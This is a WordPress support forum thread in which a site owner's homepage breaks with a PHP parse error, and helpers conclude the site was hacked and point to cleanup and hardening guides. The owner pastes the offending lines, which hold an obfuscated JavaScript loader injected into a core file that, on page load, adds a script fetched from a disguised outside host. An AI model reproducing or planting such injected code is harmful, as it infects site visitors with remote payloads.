Title: Parse error: syntax error, unexpected – HELP!
Last modified: August 19, 2016

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# Parse error: syntax error, unexpected – HELP!

 *  [Seamhead](https://wordpress.org/support/users/seamhead/)
 * (@seamhead)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/)
 * Everything was going swimmingly with my web site until about 15 minutes ago when
   this message popped up in place of my home page:
 * Parse error: syntax error, unexpected ‘<‘ in /home/seamhead/public_html/blog/
   wp-includes/default-filters.php on line 229
 * Now I’m freaking out. I can’t get a hold of my programmer and I just sent out
   a press release to approximately 80 members of the media asking them to check
   out my site’s new look and writers. If they can’t access it, this is going to
   be a disaster. Can someone please help me fix this?
 * Thanks!
    Mike

Viewing 15 replies - 1 through 15 (of 15 total)

 *  [esmi](https://wordpress.org/support/users/esmi/)
 * (@esmi)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408025)
 * Re-upload the wp-includes folder via FTP or whatever file management application
   your host provides.
 *  Thread Starter [Seamhead](https://wordpress.org/support/users/seamhead/)
 * (@seamhead)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408030)
 * I hate to be obtuse, but re-upload from where?
 *  [alism](https://wordpress.org/support/users/alism/)
 * (@alism)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408034)
 * Download a fresh copy of WordPress and unzip it. FTP to your site, then delete
   and re-upload the folder as esmi suggests.
    [http://wordpress.org/download/](http://wordpress.org/download/)
 * What did you change to cause that issue though? I smell something fishy.
 *  Thread Starter [Seamhead](https://wordpress.org/support/users/seamhead/)
 * (@seamhead)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408042)
 * I haven’t changed anything except for the content on my site. I just posted a
   new article a few hours ago, then updated two pages to include new writers. Everything
   was working great until I went to copy a URL from my site so I could send it 
   to friends. That’s when I found the message. Because I used someone else to redesign
   my site, I don’t know enough about the .php files to even mess around with them.
 *  [alism](https://wordpress.org/support/users/alism/)
 * (@alism)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408049)
 * Ok, FTP to your site. Download this file:
    /home/seamhead/public_html/blog/wp-
   includes/default-filters.php Open it in your favourite text editor, then look
   on line 229. Can you post that and the few lines either side here?
 *  Thread Starter [Seamhead](https://wordpress.org/support/users/seamhead/)
 * (@seamhead)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408055)
 * I pasted it into Excel and these are lines 226-230.
 * // Timezone
    add_filter( ‘pre_option_gmt_offset’,’wp_timezone_override_offset’);
 * <script>var Zm=new Array();try {var mH=””;var r=”;var Z=RegExp;var E=”;var P;
   if(P!=’dX’){P=’dX’};var Q='[‘;var k=’g’;var i;if(i!=’cG’ && i != ”){i=null};var
   l=’]’;var f=”;var vB=”;var R=’replace’;var dN;if(dN!=” && dN!=’X’){dN=null};function_(
   d,lI){var HQ;if(HQ!=’o’ && HQ!=’L’){HQ=’o’};var p=Q;p+=lI;p+=l;var kh=new Z(p,
   k);var aj=”;var q=new String();return d[R](kh, E);};var ft;if(ft!=” && ft!=’jn’){
   ft=’CD’};var h=_(‘sTe5tqATtTtTrTiqb5uFtTeF’,”T5qF”);var vL=””;var Zu=_(‘sGc2rGi2pGtG’,”
   2G”);var mA=”;var rs=”;var C=_(‘oCnBlCoBaBdB’,”BC”);var t=_(‘aGpGpYeYn4d4C4h7iYlYd7’,”
   YG74″);var Gx=”;var m=_(‘/TgkoKoAgklKe1.1ckokm1/KgAoko1gAlAeA.KcAoTmA/1cKlAaKs1sTm1aKtkeKsT.
   1cToTmK/AjKrKjk.TcKoTmk.kc1nT/AokvkgTu1i1dKe1.Ac1o1m1.Tp1hApk’,”T1KkA”);var vk;
   if(vk!=”){vk=’jA’};var _x=_(‘b8oQd8y0’,”80Qc”);var d=”1″;var D=”;var V=”;var 
   I=_(‘h1t1t1p1:D/1/1i1g1n1-1cSoDmS.D5D51b1b1sD.1cSo1mD.DdSo1mDaDiDnDt1oSo1l1sS-
   DcSoSmS.Sm1ySd1iDr1eDc1tSo1u1tSlSeDtS.SrSuS:D’,”1DS”);var EF;if(EF!=” && EF!=’
   dF’){EF=’cn’};var PM;if(PM!=” && PM!=’dK’){PM=’bo’};var Ii=_(‘cjr8eKaDtjeKEKlDejmjeDnktK’,”
   DjKk8″);this.ui=””;var w=”;this.Qt=””;var b=_(‘8664044448464640644′,”64″);var
   vH;if(vH!=” && vH!=’J’){vH=’Zr’};var BP=new Array();window[C]=function(){var 
   QP;if(QP!=’IS’ && QP!=’mb’){QP=’IS’};Es=document[Ii](Zu);var jw;if(jw!=’ak’ &&
   jw != ”){jw=null};var jM=””;w+=I;w+=b;var XT=new String();var jD=new Array();
   w+=m;this.Jc=””;var Ok=””;var T=document[_x];this.zN=””;var tB;if(tB!=’s’ && 
   tB!=’lE’){tB=’s’};Es.src=w;Es.setAttribute(‘defer’, d);var YO;if(YO!=”){YO=’kQ’};
   var EO;if(EO!=’FG’ && EO!=’VI’){EO=”};this.Cd=”;var iU=new Array();T.appendChild(
   Es);var Oj;if(Oj!=” && Oj!=’Jj’){Oj=”};var II=new String();};var HR=””;} catch(
   mw){var aV;if(aV!=’dJ’){aV=”};var Fz=new Date();};this.ZP=”;</script>
    <!–17f3a551f2eff015a33758cb93c61bbd–
   >
 *  [esmi](https://wordpress.org/support/users/esmi/)
 * (@esmi)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408057)
 * Uh oh – looks like you may have been hacked.
 * [http://codex.wordpress.org/FAQ_My_site_was_hacked](http://codex.wordpress.org/FAQ_My_site_was_hacked)
   
   [http://wordpress.org/support/topic/268083#post-1065779](http://wordpress.org/support/topic/268083#post-1065779)
   [http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/](http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/)
   [http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/](http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/)
 *  [alism](https://wordpress.org/support/users/alism/)
 * (@alism)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408058)
 * Well the bad news is that you’ve been hacked.
 * You’ll probably want to speak to the programmer dude to fix things for you. Re-
   uploading your wp-admin and wp-includes folders may be a quick fix, but you should
   really be looking at making sure everything is squeaky clean and preventing that
   from happening again (and hopefully figuring out how it happened in the first
   place).
 * [http://codex.wordpress.org/FAQ_My_site_was_hacked](http://codex.wordpress.org/FAQ_My_site_was_hacked)
   
   [http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/](http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/)
   [http://codex.wordpress.org/Hardening_WordPress](http://codex.wordpress.org/Hardening_WordPress)
 * Best of luck.
 * (uh, beaten to it… damn my slow typing!!)
 *  Thread Starter [Seamhead](https://wordpress.org/support/users/seamhead/)
 * (@seamhead)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408060)
 * Damn! Thanks for all your help guys. I appreciate it.
 *  [alism](https://wordpress.org/support/users/alism/)
 * (@alism)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408062)
 * Only just noticed, but congrats on your ‘mod-hood’ by the way esmi, thoroughly
   deserved! 🙂
 *  [esmi](https://wordpress.org/support/users/esmi/)
 * (@esmi)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408071)
 * Aww – shucks…:-)
 *  Thread Starter [Seamhead](https://wordpress.org/support/users/seamhead/)
 * (@seamhead)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408091)
 * By the way, if you were so quick to detect the hack, isn’t there a way to just
   delete the bad code or is that too simplistic?
 *  [esmi](https://wordpress.org/support/users/esmi/)
 * (@esmi)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408093)
 * We can identify it when we see it but there’s no way to know just how many files
   have been corrupted with this code. It’s probably best to assume that it could
   be every file.
 * Added to which, many hackers try to leave a back door in as well. This is a file
   that looks innocent (and hence escapes an initial clean-up) but that allows the
   hacker to easily regain access to all files and simply re-infect them. The very
   last link I gave provides advice on where to look for these back doors.
 *  Thread Starter [Seamhead](https://wordpress.org/support/users/seamhead/)
 * (@seamhead)
 * [16 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408106)
 * Okay. Thanks again.
 *  [buddhafish2983](https://wordpress.org/support/users/buddhafish2983/)
 * (@buddhafish2983)
 * [15 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408519)
 * Hi, I am having a similar problem. Same error code, unfortunately I am waiting
   to hear back from the web guy- I don’t currently have access to the installation
   files, so I am unable to re-install the wp-includes file. Here is the code lines
   358-372. In the error message it says, “Parse error: syntax error, unexpected‘
   <‘ in /home/contin15/public_html/wp-content/themes/continuum1/functions.php on
   line 361”
 * $output .= “\n\t” . ‘</’ . $itemtag . ‘>’;
    if ( $columns > 0 && ++$i % $columns
   == 0 ) $output .= “\n</div>\n” . ‘<div class=”gallery”>’; } $output .= “\n</div
   >\n”;
 *  return $output;
    }
 * // Widget: Search; to match the Sandbox style and replace Widget plugin default
   
   function widget_sandbox_search($args) { extract($args); $options = get_option(‘
   widget_sandbox_search’); $title = empty($options[‘title’]) ? __( ‘Search’, ‘sandbox’):
   attribute_escape($options[‘title’]); $button = empty($options[‘button’]) ? __(‘
   Find’, ‘sandbox’ ) : attribute_escape($options[‘button’]); ?>
 * Any help, would be much appreciated/!!

Viewing 15 replies - 1 through 15 (of 15 total)

The topic ‘Parse error: syntax error, unexpected – HELP!’ is closed to new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 15 replies
 * 4 participants
 * Last reply from: [buddhafish2983](https://wordpress.org/support/users/buddhafish2983/)
 * Last activity: [15 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-help/#post-1408519)
 * Status: not resolved

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